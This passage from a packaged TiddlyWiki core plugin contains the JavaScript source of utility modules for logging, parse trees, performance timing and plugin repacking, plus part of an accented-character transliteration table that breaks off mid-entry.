            "text": "/*\\\ntitle: $:/core/modules/utils/logger.js\ntype: application/javascript\nmodule-type: utils\n\nA basic logging implementation\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar ALERT_TAG = \"$:/tags/Alert\";\n\n/*\nMake a new logger\n*/\nfunction Logger(componentName,options) {\n\toptions = options || {};\n\tthis.componentName = componentName || \"\";\n\tthis.colour = options.colour || \"white\";\n\tthis.enable = \"enable\" in options ? options.enable : true;\n}\n\n/*\nLog a message\n*/\nLogger.prototype.log = function(/* args */) {\n\tif(this.enable && console !== undefined && console.log !== undefined) {\n\t\treturn Function.apply.call(console.log, console, [$tw.utils.terminalColour(this.colour),this.componentName + \":\"].concat(Array.prototype.slice.call(arguments,0)).concat($tw.utils.terminalColour()));\n\t}\n};\n\n/*\nAlert a message\n*/\nLogger.prototype.alert = function(/* args */) {\n\tif(this.enable) {\n\t\t// Prepare the text of the alert\n\t\tvar text = Array.prototype.join.call(arguments,\" \");\n\t\t// Create alert tiddlers in the browser\n\t\tif($tw.browser) {\n\t\t\t// Check if there is an existing alert with the same text and the same component\n\t\t\tvar existingAlerts = $tw.wiki.getTiddlersWithTag(ALERT_TAG),\n\t\t\t\talertFields,\n\t\t\t\texistingCount,\n\t\t\t\tself = this;\n\t\t\t$tw.utils.each(existingAlerts,function(title) {\n\t\t\t\tvar tiddler = $tw.wiki.getTiddler(title);\n\t\t\t\tif(tiddler.fields.text === text && tiddler.fields.component === self.componentName && tiddler.fields.modified && (!alertFields || tiddler.fields.modified < alertFields.modified)) {\n\t\t\t\t\t\talertFields = $tw.utils.extend({},tiddler.fields);\n\t\t\t\t}\n\t\t\t});\n\t\t\tif(alertFields) {\n\t\t\t\texistingCount = alertFields.count || 1;\n\t\t\t} else {\n\t\t\t\talertFields = {\n\t\t\t\t\ttitle: $tw.wiki.generateNewTitle(\"$:/temp/alerts/alert\",{prefix: \"\"}),\n\t\t\t\t\ttext: text,\n\t\t\t\t\ttags: [ALERT_TAG],\n\t\t\t\t\tcomponent: this.componentName\n\t\t\t\t};\n\t\t\t\texistingCount = 0;\n\t\t\t}\n\t\t\talertFields.modified = new Date();\n\t\t\tif(++existingCount > 1) {\n\t\t\t\talertFields.count = existingCount;\n\t\t\t} else {\n\t\t\t\talertFields.count = undefined;\n\t\t\t}\n\t\t\t$tw.wiki.addTiddler(new $tw.Tiddler(alertFields));\n\t\t\t// Log the alert as well\n\t\t\tthis.log.apply(this,Array.prototype.slice.call(arguments,0));\n\t\t} else {\n\t\t\t// Print an orange message to the console if not in the browser\n\t\t\tconsole.error(\"\\x1b[1;33m\" + text + \"\\x1b[0m\");\n\t\t}\t\t\n\t}\n};\n\nexports.Logger = Logger;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "utils"
        },
        "$:/core/modules/utils/parsetree.js": {
            "title": "$:/core/modules/utils/parsetree.js",
            "text": "/*\\\ntitle: $:/core/modules/utils/parsetree.js\ntype: application/javascript\nmodule-type: utils\n\nParse tree utility functions.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.addAttributeToParseTreeNode = function(node,name,value) {\n\tnode.attributes = node.attributes || {};\n\tnode.attributes[name] = {type: \"string\", value: value};\n};\n\nexports.getAttributeValueFromParseTreeNode = function(node,name,defaultValue) {\n\tif(node.attributes && node.attributes[name] && node.attributes[name].value !== undefined) {\n\t\treturn node.attributes[name].value;\n\t}\n\treturn defaultValue;\n};\n\nexports.addClassToParseTreeNode = function(node,classString) {\n\tvar classes = [];\n\tnode.attributes = node.attributes || {};\n\tnode.attributes[\"class\"] = node.attributes[\"class\"] || {type: \"string\", value: \"\"};\n\tif(node.attributes[\"class\"].type === \"string\") {\n\t\tif(node.attributes[\"class\"].value !== \"\") {\n\t\t\tclasses = node.attributes[\"class\"].value.split(\" \");\n\t\t}\n\t\tif(classString !== \"\") {\n\t\t\t$tw.utils.pushTop(classes,classString.split(\" \"));\n\t\t}\n\t\tnode.attributes[\"class\"].value = classes.join(\" \");\n\t}\n};\n\nexports.addStyleToParseTreeNode = function(node,name,value) {\n\t\tnode.attributes = node.attributes || {};\n\t\tnode.attributes.style = node.attributes.style || {type: \"string\", value: \"\"};\n\t\tif(node.attributes.style.type === \"string\") {\n\t\t\tnode.attributes.style.value += name + \":\" + value + \";\";\n\t\t}\n};\n\nexports.findParseTreeNode = function(nodeArray,search) {\n\tfor(var t=0; t<nodeArray.length; t++) {\n\t\tif(nodeArray[t].type === search.type && nodeArray[t].tag === search.tag) {\n\t\t\treturn nodeArray[t];\n\t\t}\n\t}\n\treturn undefined;\n};\n\n/*\nHelper to get the text of a parse tree node or array of nodes\n*/\nexports.getParseTreeText = function getParseTreeText(tree) {\n\tvar output = [];\n\tif($tw.utils.isArray(tree)) {\n\t\t$tw.utils.each(tree,function(node) {\n\t\t\toutput.push(getParseTreeText(node));\n\t\t});\n\t} else {\n\t\tif(tree.type === \"text\") {\n\t\t\toutput.push(tree.text);\n\t\t}\n\t\tif(tree.children) {\n\t\t\treturn getParseTreeText(tree.children);\n\t\t}\n\t}\n\treturn output.join(\"\");\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "utils"
        },
        "$:/core/modules/utils/performance.js": {
            "title": "$:/core/modules/utils/performance.js",
            "text": "/*\\\ntitle: $:/core/modules/utils/performance.js\ntype: application/javascript\nmodule-type: global\n\nPerformance measurement.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nfunction Performance(enabled) {\n\tthis.enabled = !!enabled;\n\tthis.measures = {}; // Hashmap of current values of measurements\n\tthis.logger = new $tw.utils.Logger(\"performance\");\n}\n\n/*\nWrap performance reporting around a top level function\n*/\nPerformance.prototype.report = function(name,fn) {\n\tvar self = this;\n\tif(this.enabled) {\n\t\treturn function() {\n\t\t\tself.measures = {};\n\t\t\tvar startTime = $tw.utils.timer(),\n\t\t\t\tresult = fn.apply(this,arguments);\n\t\t\tself.logger.log(name + \": \" + $tw.utils.timer(startTime).toFixed(2) + \"ms\");\n\t\t\tfor(var m in self.measures) {\n\t\t\t\tself.logger.log(\"+\" + m + \": \" + self.measures[m].toFixed(2) + \"ms\");\n\t\t\t}\n\t\t\treturn result;\n\t\t};\n\t} else {\n\t\treturn fn;\n\t}\n};\n\n/*\nWrap performance measurements around a subfunction\n*/\nPerformance.prototype.measure = function(name,fn) {\n\tvar self = this;\n\tif(this.enabled) {\n\t\treturn function() {\n\t\t\tvar startTime = $tw.utils.timer(),\n\t\t\t\tresult = fn.apply(this,arguments),\n\t\t\t\tvalue = self.measures[name] || 0;\n\t\t\tself.measures[name] = value + $tw.utils.timer(startTime);\n\t\t\treturn result;\n\t\t};\n\t} else {\n\t\treturn fn;\n\t}\n};\n\nexports.Performance = Performance;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "global"
        },
        "$:/core/modules/utils/pluginmaker.js": {
            "title": "$:/core/modules/utils/pluginmaker.js",
            "text": "/*\\\ntitle: $:/core/modules/utils/pluginmaker.js\ntype: application/javascript\nmodule-type: utils\n\nA quick and dirty way to pack up plugins within the browser.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nRepack a plugin, and then delete any non-shadow payload tiddlers\n*/\nexports.repackPlugin = function(title,additionalTiddlers,excludeTiddlers) {\n\tadditionalTiddlers = additionalTiddlers || [];\n\texcludeTiddlers = excludeTiddlers || [];\n\t// Get the plugin tiddler\n\tvar pluginTiddler = $tw.wiki.getTiddler(title);\n\tif(!pluginTiddler) {\n\t\tthrow \"No such tiddler as \" + title;\n\t}\n\t// Extract the JSON\n\tvar jsonPluginTiddler;\n\ttry {\n\t\tjsonPluginTiddler = JSON.parse(pluginTiddler.fields.text);\n\t} catch(e) {\n\t\tthrow \"Cannot parse plugin tiddler \" + title + \"\\n\" + $tw.language.getString(\"Error/Caption\") + \": \" + e;\n\t}\n\t// Get the list of tiddlers\n\tvar tiddlers = Object.keys(jsonPluginTiddler.tiddlers);\n\t// Add the additional tiddlers\n\t$tw.utils.pushTop(tiddlers,additionalTiddlers);\n\t// Remove any excluded tiddlers\n\tfor(var t=tiddlers.length-1; t>=0; t--) {\n\t\tif(excludeTiddlers.indexOf(tiddlers[t]) !== -1) {\n\t\t\ttiddlers.splice(t,1);\n\t\t}\n\t}\n\t// Pack up the tiddlers into a block of JSON\n\tvar plugins = {};\n\t$tw.utils.each(tiddlers,function(title) {\n\t\tvar tiddler = $tw.wiki.getTiddler(title),\n\t\t\tfields = {};\n\t\t$tw.utils.each(tiddler.fields,function (value,name) {\n\t\t\tfields[name] = tiddler.getFieldString(name);\n\t\t});\n\t\tplugins[title] = fields;\n\t});\n\t// Retrieve and bump the version number\n\tvar pluginVersion = $tw.utils.parseVersion(pluginTiddler.getFieldString(\"version\") || \"0.0.0\") || {\n\t\t\tmajor: \"0\",\n\t\t\tminor: \"0\",\n\t\t\tpatch: \"0\"\n\t\t};\n\tpluginVersion.patch++;\n\tvar version = pluginVersion.major + \".\" + pluginVersion.minor + \".\" + pluginVersion.patch;\n\tif(pluginVersion.prerelease) {\n\t\tversion += \"-\" + pluginVersion.prerelease;\n\t}\n\tif(pluginVersion.build) {\n\t\tversion += \"+\" + pluginVersion.build;\n\t}\n\t// Save the tiddler\n\t$tw.wiki.addTiddler(new $tw.Tiddler(pluginTiddler,{text: JSON.stringify({tiddlers: plugins},null,4), version: version}));\n\t// Delete any non-shadow constituent tiddlers\n\t$tw.utils.each(tiddlers,function(title) {\n\t\tif($tw.wiki.tiddlerExists(title)) {\n\t\t\t$tw.wiki.deleteTiddler(title);\n\t\t}\n\t});\n\t// Trigger an autosave\n\t$tw.rootWidget.dispatchEvent({type: \"tm-auto-save-wiki\"});\n\t// Return a heartwarming confirmation\n\treturn \"Plugin \" + title + \" successfully saved\";\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "utils"
        },
        "$:/core/modules/utils/transliterate.js": {
            "title": "$:/core/modules/utils/transliterate.js",
            "text": "/*\\\ntitle: $:/core/modules/utils/transliterate.js\ntype: application/javascript\nmodule-type: utils\n\nTransliteration static utility functions.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nTransliterate string to ASCII\n\n(Some pairs taken from http://semplicewebsites.com/removing-accents-javascript)\n*/\nexports.transliterationPairs = {\n\t\"Á\":\"A\",\n\t\"Ă\":\"A\",\n\t\"Ắ\":\"A\",\n\t\"Ặ\":\"A\",\n\t\"Ằ\":\"A\",\n\t\"Ẳ\":\"A\",\n\t\"Ẵ\":\"A\",\n\t\"Ǎ\":\"A\",\n\t\"Â\":\"A\",\n\t\"Ấ\":\"A\",\n\t\"Ậ\":\"A\",\n\t\"Ầ\":\"A\",\n\t\"Ẩ\":\"A\",\n\t\"Ẫ\":\"A\",\n\t\"Ä\":\"A\",\n\t\"Ǟ\":\"A\",\n\t\"Ȧ\":\"A\",\n\t\"Ǡ\":\"A\",\n\t\"Ạ\":\"A\",\n\t\"Ȁ\":\"A\",\n\t\"À\":\"A\",\n\t\"Ả\":\"A\",\n\t\"Ȃ\":\"A\",\n\t\"Ā\":\"A\",\n\t\"Ą\":\"A\",\n\t\"Å\":\"A\",\n\t\"Ǻ\":\"A\",\n\t\"Ḁ\":\"A\",\n\t\"Ⱥ\":\"A\",\n\t\"Ã\":\"A\",\n\t\"Ꜳ\":\"AA\",\n\t\"Æ\":\"AE\",\n\t\"Ǽ\":\"AE\",\n\t\"Ǣ\":\"AE\",\n\t\"Ꜵ\":\"AO\",\n\t\"Ꜷ\":\"AU\",\n\t\"Ꜹ\":\"AV\",\n\t\"Ꜻ\":\"AV\",\n\t\"Ꜽ\":\"AY\",\n\t\"Ḃ\":\"B\",\n\t\"Ḅ\":\"B\",\n\t\"Ɓ\":\"B\",\n\t\"Ḇ\":\"B\",\n\t\"Ƀ\":\"B\",\n\t\"Ƃ\":\"B\",\n\t\"Ć\":\"C\",\n\t\"Č\":\"C\",\n\t\"Ç\":\"C\",\n\t\"Ḉ\":\"C\",\n\t\"Ĉ\":\"C\",\n\t\"Ċ\":\"C\",\n\t\"Ƈ\":\"C\",\n\t\"Ȼ\":\"C\",\n\t\"Ď\":\"D\",\n\t\"Ḑ\":\"D\",\n\t\"Ḓ\":\"D\",\n\t\"Ḋ\":\"D\",\n\t\"Ḍ\":\"D\",\n\t\"Ɗ\":\"D\",\n\t\"Ḏ\":\"D\",\n\t\"Dz\":\"D\",\n\t\"Dž\":\"D\",\n\t\"Đ\":\"D\",\n\t\"Ƌ\":\"D\",\n\t\"DZ\":\"DZ\",\n\t\"DŽ\":\"DZ\",\n\t\"É\":\"E\",\n\t\"Ĕ\":\"E\",\n\t\"Ě\":\"E\",\n\t\"Ȩ\":\"E\",\n\t\"Ḝ\":\"E\",\n\t\"Ê\":\"E\",\n\t\"Ế\":\"E\",\n\t\"Ệ\":\"E\",\n\t\"Ề\":\"E\",\n\t\"Ể\":\"E\",\n\t\"Ễ\":\"E\",\n\t\"Ḙ\":\"E\",\n\t\"Ë\":\"E\",\n\t\"Ė\":\"E\",\n\t\"Ẹ\":\"E\",\n\t\"Ȅ\":\"E\",\n\t\"È\":\"E\",\n\t\"Ẻ\":\"E\",\n\t\"Ȇ\":\"E\",\n\t\"Ē\":\"E\",\n\t\"Ḗ\":\"E\",\n\t\"Ḕ\":\"E\",\n\t\"Ę\":\"E\",\n\t\"Ɇ\":\"E\",\n\t\"Ẽ\":\"E\",\n\t\"Ḛ\":\"E\",\n\t\"Ꝫ\":\"ET\",\n\t\"Ḟ\":\"F\",\n\t\"Ƒ\":\"F\",\n\t\"Ǵ\":\"G\",\n\t\"Ğ\":\"G\",\n\t\"Ǧ\":\"G\",\n\t\"Ģ\":\"G\",\n\t\"Ĝ\":\"G\",\n\t\"Ġ\":\"G\",\n\t\"Ɠ\":\"G\",\n\t\"Ḡ\":\"G\",\n\t\"Ǥ\":\"G\",\n\t\"Ḫ\":\"H\",\n\t\"Ȟ\":\"H\",\n\t\"Ḩ\":\"H\",\n\t\"Ĥ\":\"H\",\n\t\"Ⱨ\":\"H\",\n\t\"Ḧ\":\"H\",\n\t\"Ḣ\":\"H\",\n\t\"Ḥ\":\"H\",\n\t\"Ħ\":\"H\",\n\t\"Í\":\"I\",\n\t\"Ĭ\":\"I\",\n\t\"Ǐ\":\"I\",\n\t\"Î\":\"I\",\n\t\"Ï\":\"I\",\n\t\"Ḯ\":\"I\",\n\t\"İ\":\"I\",\n\t\"Ị\":\"I\",\n\t\"Ȉ\":\"I\",\n\t\"Ì\":\"I\",\n\t\"Ỉ\":\"I\",\n\t\"Ȋ\":\"I\",\n\t\"Ī\":\"I\",\n\t\"Į\":\"I\",\n\t\"Ɨ\":\"I\",\n\t\"Ĩ\":\"I\",\n\t\"Ḭ\":\"I\",\n\t\"Ꝺ\":\"D\",\n\t\"Ꝼ\":\"F\",\n\t\"Ᵹ\":\"G\",\n\t\"Ꞃ\":\"R\",\n\t\"Ꞅ\":\"S\",\n\t\"Ꞇ\":\"T\",\n\t\"Ꝭ\":\"IS\",\n\t\"Ĵ\":\"J\",\n\t\"Ɉ\":\"J\",\n\t\"Ḱ\":\"K\",\n\t\"Ǩ\":\"K\",\n\t\"Ķ\":\"K\",\n\t\"Ⱪ\":\"K\",\n\t\"Ꝃ\":\"K\",\n\t\"Ḳ\":\"K\",\n\t\"Ƙ\":\"K\",\n\t\"Ḵ\":\"K\",\n\t\"Ꝁ\":\"K\",\n\t\"Ꝅ\":\"K\",\n\t\"Ĺ\":\"L\",\n\t\"Ƚ\":\"L\",\n\t\"Ľ\":\"L\",\n\t\"Ļ\":\"L\",\n\t\"Ḽ\":\"L\",\n\t\"Ḷ\":\"L\",\n\t\"Ḹ\":\"L\",\n\t\"Ⱡ\":\"L\",\n\t\"Ꝉ\":\"L\",\n\t\"Ḻ\":\"L\",\n\t\"Ŀ\":\"L\",\n\t\"Ɫ\":\"L\",\n\t\"Lj\":\"L\",\n\t\"Ł\":\"L\",\n\t\"LJ\":\"LJ\",\n\t\"Ḿ\":\"M\",\n\t\"Ṁ\":\"M\",\n\t\"Ṃ\":\"M\",\n\t\"Ɱ\":\"M\",\n\t\"Ń\":\"N\",\n\t\"Ň\":\"N\",\n\t\"Ņ\":\"N\",\n\t\"Ṋ\":\"N\",\n\t\"Ṅ\":\"N\",\n\t\"Ṇ\":\"N\",\n\t\"Ǹ\":\"N\",\n\t\"Ɲ\":\"N\",\n\t\"Ṉ\":\"N\",\n\t\"Ƞ\":\"N\",\n\t\"Nj\":\"N\",\n\t\"Ñ\":\"N\",\n\t\"NJ\":\"NJ\",\n\t\"Ó\":\"O\",\n\t\"Ŏ\":\"O\",\n\t\"Ǒ\":\"O\",\n\t\"Ô\":\"O\",\n\t\"Ố\":\"O\",\n\t\"Ộ\":\"O\",\n\t\"Ồ\":\"O\",\n\t\"Ổ\":\"O\",\n\t\"Ỗ\":\"O\",\n\t\"Ö\":\"O\",\n\t\"Ȫ\":\"O\",\n\t\"Ȯ\":\"O\",\n\t\"Ȱ\":\"O\",\n\t\"Ọ\":\"O\",\n\t\"Ő\":\"O\",\n\t\"Ȍ\":\"O\",\n\t\"Ò\":\"O\",\n\t\"Ỏ\":\"O\",\n\t\"Ơ\":\"O\",\n\t\"Ớ\":\"O\",\n\t\"Ợ\":\"O\",\n\t\"Ờ\":\"O\",\n\t\"Ở\":\"O\",\n\t\"Ỡ\":\"O\",\n\t\"Ȏ\":\"O\",\n\t\"Ꝋ\":\"O\",\n\t\"Ꝍ\":\"O\",\n\t\"Ō\":\"O\",\n\t\"Ṓ\":\"O\",\n\t\"Ṑ\":\"O\",\n\t\"Ɵ\":\"O\",\n\t\"Ǫ\":\"O\",\n\t\"Ǭ\":\"O\",\n\t\"Ø\":\"O\",\n\t\"Ǿ\":\"O\",\n\t\"Õ\":\"O\",\n\t\"Ṍ\":\"O\",\n\t\"Ṏ\":\"O\",\n\t\"Ȭ\":\"O\",\n\t\"Ƣ\":\"OI\",\n\t\"Ꝏ\":\"OO\",\n\t\"Ɛ\":\"E\",\n\t\"Ɔ\":\"O\",\n\t\"Ȣ\":\"OU\",\n\t\"Ṕ\":\"P\",\n\t\"Ṗ\":\"P\",\n\t\"Ꝓ\":\"P\",\n\t\"Ƥ\":\"P\",\n\t\"Ꝕ\":\"P\",\n\t\"Ᵽ\":\"P\",\n\t\"Ꝑ\":\"P\",\n\t\"Ꝙ\":\"Q\",\n\t\"Ꝗ\":\"Q\",\n\t\"Ŕ\":\"R\",\n\t\"Ř\":\"R\",\n\t\"Ŗ\":\"R\",\n\t\"Ṙ\":\"R\",\n\t\"Ṛ\":\"R\",\n\t\"Ṝ\":\"R\",\n\t\"Ȑ\":\"R\",\n\t\"Ȓ\":\"R\",\n\t\"Ṟ\":\"R\",\n\t\"Ɍ\":\"R\",\n\t\"Ɽ\":\"R\",\n\t\"Ꜿ\":\"C\",\n\t\"Ǝ\":\"E\",\n\t\"Ś\":\"S\",\n\t\"Ṥ\":\"S\",\n\t\"Š\":\"S\",\n\t\"Ṧ\":\"S\",\n\t\"Ş\":\"S\",\n\t\"Ŝ\":\"S\",\n\t\"Ș\":\"S\",\n\t\"Ṡ\":\"S\",\n\t\"Ṣ\":\"S\",\n\t\"Ṩ\":\"S\",\n\t\"Ť\":\"T\",\n\t\"Ţ\":\"T\",\n\t\"Ṱ\":\"T\",\n\t\"Ț\":\"T\",\n\t\"Ⱦ\":\"T\",\n\t\"Ṫ\":\"T\",\n\t\"Ṭ\":\"T\",\n\t\"Ƭ\":\"T\",\n\t\"Ṯ\":\"T\",\n\t\"Ʈ\":\"T\",\n\t\"Ŧ\":\"T\",\n\t\"Ɐ\":\"A\",\n\t\"Ꞁ\":\"L\",\n\t\"Ɯ\":\"M\",\n\t\"Ʌ\":\"V\",\n\t\"Ꜩ\":\"TZ\",\n\t\"Ú\":\"U\",\n\t\"Ŭ\":\"U\",\n\t\"Ǔ\":\"U\",\n\t\"Û\":\"U\",\n\t\"Ṷ\":\"U\",\n\t\"Ü\":\"U\",\n\t\"Ǘ\":\"U\",\n\t\"Ǚ\":\"U\",\n\t\"Ǜ\":\"U\",\n\t\"Ǖ\":\"U\",\n\t\"Ṳ\":\"U\",\n\t\"Ụ\":\"U\",\n\t\"Ű\":\"U\",\n\t\"Ȕ\":\"U\",\n\t\"Ù\":\"U\",\n\t\"Ủ\":\"U\",\n\t\"Ư\":\"U\",\n\t\"Ứ\":\"U\",\n\t\"Ự\":\"U\",\n\t\"Ừ\":\"U\",\n\t\"Ử\":\"U\",\n\t\"Ữ\":\"U\",\n\t\"Ȗ\":\"U\",\n\t\"Ū\":\"U\",\n\t\"Ṻ\":\"U\",\n\t\"Ų\":\"U\",\n\t\"Ů\":\"U\",\n\t\"Ũ\":\"U\",\n\t\"Ṹ\":\"U\",\n\t\"Ṵ\":\"U\",\n\t\"Ꝟ\":\"V\",\n\t\"Ṿ\":\"V\",\n\t\"Ʋ\":\"V\",\n\t\"Ṽ\":\"V\",\n\t\"Ꝡ\":\"VY\",\n\t\"Ẃ\":\"W\",\n\t\"Ŵ\":\"W\",\n\t\"Ẅ\":\"W\",\n\t\"Ẇ\":\"W\",\n\t\"Ẉ\":\"W\",\n\t\"Ẁ\":\"W\",\n\t\"Ⱳ\":\"W\",\n\t\"Ẍ\":\"X\",\n\t\"Ẋ\":\"X\",\n\t\"Ý\":\"Y\",\n\t\"Ŷ\":\"Y\",\n\t\"Ÿ\":\"Y\",\n\t\"Ẏ\":\"Y\",\n\t\"Ỵ\":\"Y\",\n\t\"Ỳ\":\"Y\",\n\t\"Ƴ\":\"Y\",\n\t\"Ỷ\":\"Y\",\n\t\"Ỿ\":\"Y\",\n\t\"Ȳ\":\"Y\",\n\t\"Ɏ\":\"Y\",\n\t\"Ỹ\":\"Y\",\n\t\"Ź\":\"Z\",\n\t\"Ž\":\"Z\",\n\t\"Ẑ\":\"Z\",\n\t\"Ⱬ\":\"Z\",\n\t\"Ż\":\"Z\",\n\t\"Ẓ\":\"Z\",\n\t\"Ȥ\":\"Z\",\n\t\"Ẕ\":\"Z\",\n\t\"Ƶ\":\"Z\",\n\t\"IJ\":\"IJ\",\n\t\"Œ\":\"OE\",\n\t\"ᴀ\":\"A\",\n\t\"ᴁ\":\"AE\",\n\t\"ʙ\":\"B\",\n\t\"ᴃ\":\"B\",\n\t\"ᴄ\":\"C\",\n\t\"ᴅ\":\"D\",\n\t\"ᴇ\":\"E\",\n\t\"ꜰ\":\"F\",\n\t\"ɢ\":\"G\",\n\t\"ʛ\":\"G\",\n\t\"ʜ\":\"H\",\n\t\"ɪ\":\"I\",\n\t\"ʁ\":\"R\",\n\t\"ᴊ\":\"J\",\n\t\"ᴋ\":\"K\",\n\t\"ʟ\":\"L\",\n\t\"ᴌ\":\"L\",\n\t\"ᴍ\":\"M\",\n\t\"ɴ\":\"N\",\n\t\"ᴏ\":\"O\",\n\t\"ɶ\":\"OE\",\n\t\"ᴐ\":\"O\",\n\t\"ᴕ\":\"OU\",\n\t\"ᴘ\":\"P\",\n\t\"ʀ\":\"R\",\n\t\"ᴎ\":\"N\",\n\t\"ᴙ\":\"R\",\n\t\"ꜱ\":\"S\",\n\t\"ᴛ\":\"T\",\n\t\"ⱻ\":\"E\",\n\t\"ᴚ\":\"R\",\n\t\"ᴜ\":\"U\",\n\t\"ᴠ\":\"V\",\n\t\"ᴡ\":\"W\",\n\t\"ʏ\":\"Y\",\n\t\"ᴢ\":\"Z\",\n\t\"á\":\"a\",\n\t\"ă\":\"a\",\n\t\"ắ\":\"a\",\n\t\"ặ\":\"a\",\n\t\"ằ\":\"a\",\n\t\"ẳ\":\"a\",\n\t\"ẵ\":\"a\",\n\t\"ǎ\":\"a\",\n\t\"â\":\"a\",\n\t\"ấ\":\"a\",\n\t\"ậ\":\"a\",\n\t\"ầ\":\"a\",\n\t\"ẩ\":\"a\",\n\t\"ẫ\":\"a\",\n\t\"ä\":\"a\",\n\t\"ǟ\":\"a\",\n\t\"ȧ\":\"a\",\n\t\"ǡ\":\"a\",\n\t\"ạ\":\"a\",\n\t\"ȁ\":\"a\",\n\t\"à\":\"a\",\n\t\"ả\":\"a\",\n\t\"ȃ\":\"a\",\n\t\"ā\":\"a\",\n\t\"ą\":\"a\",\n\t\"ᶏ\":\"a\",\n\t\"ẚ\":\"a\",\n\t\"å\":\"a\",\n\t\"ǻ\":\"a\",\n\t\"ḁ\":\"a\",\n\t\"ⱥ\":\"a\",\n\t\"ã\":\"a\",\n\t\"ꜳ\":\"aa\",\n\t\"æ\":\"ae\",\n\t\"ǽ\":\"ae\",\n\t\"ǣ\":\"ae\",\n\t\"ꜵ\":\"ao\",\n\t\"ꜷ\":\"au\",\n\t\"ꜹ\":\"av\",\n\t\"ꜻ\":\"av\",\n\t\"ꜽ\":\"ay\",\n\t\"ḃ\":\"b\",\n\t\"ḅ\":\"b\",\n\t\"ɓ\":\"b\",\n\t\"ḇ\":\"b\",\n\t\"ᵬ\":\"b\",\n\t\"ᶀ\":\"b\",\n\t\"ƀ\":\"b\",\n\t\"ƃ\":\"b\",\n\t\"ɵ\":\"o\",\n\t\"ć\":\"c\",\n\t\"č\":\"c\",\n\t\"ç\":\"c\",\n\t\"ḉ\":\"c\",\n\t\"ĉ\":\"c\",\n\t\"ɕ\":\"c\",\n\t\"ċ\":\"c\",\n\t\"ƈ\":\"c\",\n\t\"ȼ\":\"c\",\n\t\"ď\":\"d\",\n\t\"ḑ\":\"d\",\n\t\"ḓ\":\"d\",\n\t\"ȡ\":\"d\",\n\t\"ḋ\":\"d\",\n\t\"ḍ\":\"d\",\n\t\"ɗ\":\"d\",\n\t\"ᶑ\":\"d\",\n\t\"ḏ\":\"d\",\n\t\"ᵭ\":\"d\",\n\t\"ᶁ\":\"d\",\n\t\"đ\":\"d\",\n\t\"ɖ\":\"d\",\n\t\"ƌ\":\"d\",\n\t\"ı\":\"i\",\n\t\"ȷ\":\"j\",\n\t\"ɟ\":\"j\",\n\t\"ʄ\":\"j\",\n\t\"dz\":\"dz\",\n\t\"dž\":\"dz\",\n\t\"é\":\"e\",\n\t\"ĕ\":\"e\",\n\t\"ě\":\"e\",\n\t\"ȩ\":\"e\",\n\t\"ḝ\":\"e\",\n\t\"ê\":\"e\",\n\t\"ế\":\"e\",\n\t\"ệ\":\"e\",\n\t\"ề\":\"e\",\n\t\"ể\":\"e\",\n\t\"ễ\":\"e\",\n\t\"ḙ\":\"e\",\n\t\"ë\":\"e\",\n\t\"ė\":\"e\",\n\t\"ẹ\":\"e\",\n\t\"ȅ\":\"e\",\n\t\"è\":\"e\",\n\t\"ẻ\":\"e\",\n\t\"ȇ\":\"e\",\n\t\"ē\":\"e\",\n\t\"ḗ\":\"e\",\n\t\"ḕ\":\"e\",\n\t\"ⱸ\":\"e\",\n\t\"ę\":\"e\",\n\t\"ᶒ\":\"e\",\n\t\"ɇ\":\"e\",\n\t\"ẽ\":\"e\",\n\t\"ḛ\":\"e\",\n\t\"ꝫ\":\"et\",\n\t\"ḟ\":\"f\",\n\t\"ƒ\":\"f\",\n\t\"ᵮ\":\"f\",\n\t\"ᶂ\":\"f\",\n\t\"ǵ\":\"g\",\n\t\"ğ\":\"g\",\n\t\"ǧ\":\"g\",\n\t\"ģ\":\"g\",\n\t\"ĝ\":\"g\",\n\t\"ġ\":\"g\",\n\t\"ɠ\":\"g\",\n\t\"ḡ\":\"g\",\n\t\"ᶃ\":\"g\",\n\t\"ǥ\":\"g\",\n\t\"ḫ\":\"h\",\n\t\"ȟ\":\"h\",\n\t\"ḩ\":\"h\",\n\t\"ĥ\":\"h\",\n\t\"ⱨ\":\"h\",\n\t\"ḧ\":\"h\",\n\t\"ḣ\":\"h\",\n\t\"ḥ\":\"h\",\n\t\"ɦ\":\"h\",\n\t\"ẖ\":\"h\",\n\t\"ħ\":\"h\",\n\t\"ƕ\":\"hv\",\n\t\"í\":\"i\",\n\t\"ĭ\":\"i\",\n\t\"ǐ\":\"i\",\n\t\"î\":\"i\",\n\t\"ï\":\"i\",\n\t\"ḯ\":\"i\",\n\t\"ị\":\"i\",\n\t\"ȉ\":\"i\",\n\t\"ì\":\"i\",\n\t\"ỉ\":\"i\",\n\t\"ȋ\":\"i\",\n\t\"ī\":\"i\",\n\t\"į\":\"i\",\n\t\"ᶖ\":\"i\",\n\t\"ɨ\":\"i\",\n\t\"ĩ\":\"i\",\n\t\"ḭ\":\"i\",\n\t\"ꝺ\":\"d\",\n\t\"ꝼ\":\"f\",\n\t\"ᵹ\":\"g\",\n\t\"ꞃ\":\"r\",\n\t\"ꞅ\":\"s\",\n\t\"ꞇ\":\"t\",\n\t\"ꝭ\":\"is\",\n\t\"ǰ\":\"j\",\n\t\"ĵ\":\"j\",\n\t\"ʝ\":\"j\",\n\t\"ɉ\":\"j\",\n\t\"ḱ\":\"k\",\n\t\"ǩ\":\"k\",\n\t\"ķ\":\"k\",\n\t\"ⱪ\":\"k\",\n\t\"ꝃ\":\"k\",\n\t\"ḳ\":\"k\",\n\t\"ƙ\":\"k\",\n\t\"ḵ\":\"k\",\n\t\"ᶄ\":\"k\",\n\t\"ꝁ\":\"k\",\n\t\"ꝅ\":\"k\",\n\t\"ĺ\":\"l\",\n\t\"ƚ\":\"l\",\n\t\"ɬ\":\"l\",\n\t\"ľ\":\"l\",\n\t\"ļ\":\"l\",\n\t\"ḽ\":\"l\",\n\t\"ȴ\":\"l\",\n\t\"ḷ\":\"l\",\n\t\"ḹ\":\"l\",\n\t\"ⱡ\":\"l\",\n\t\"ꝉ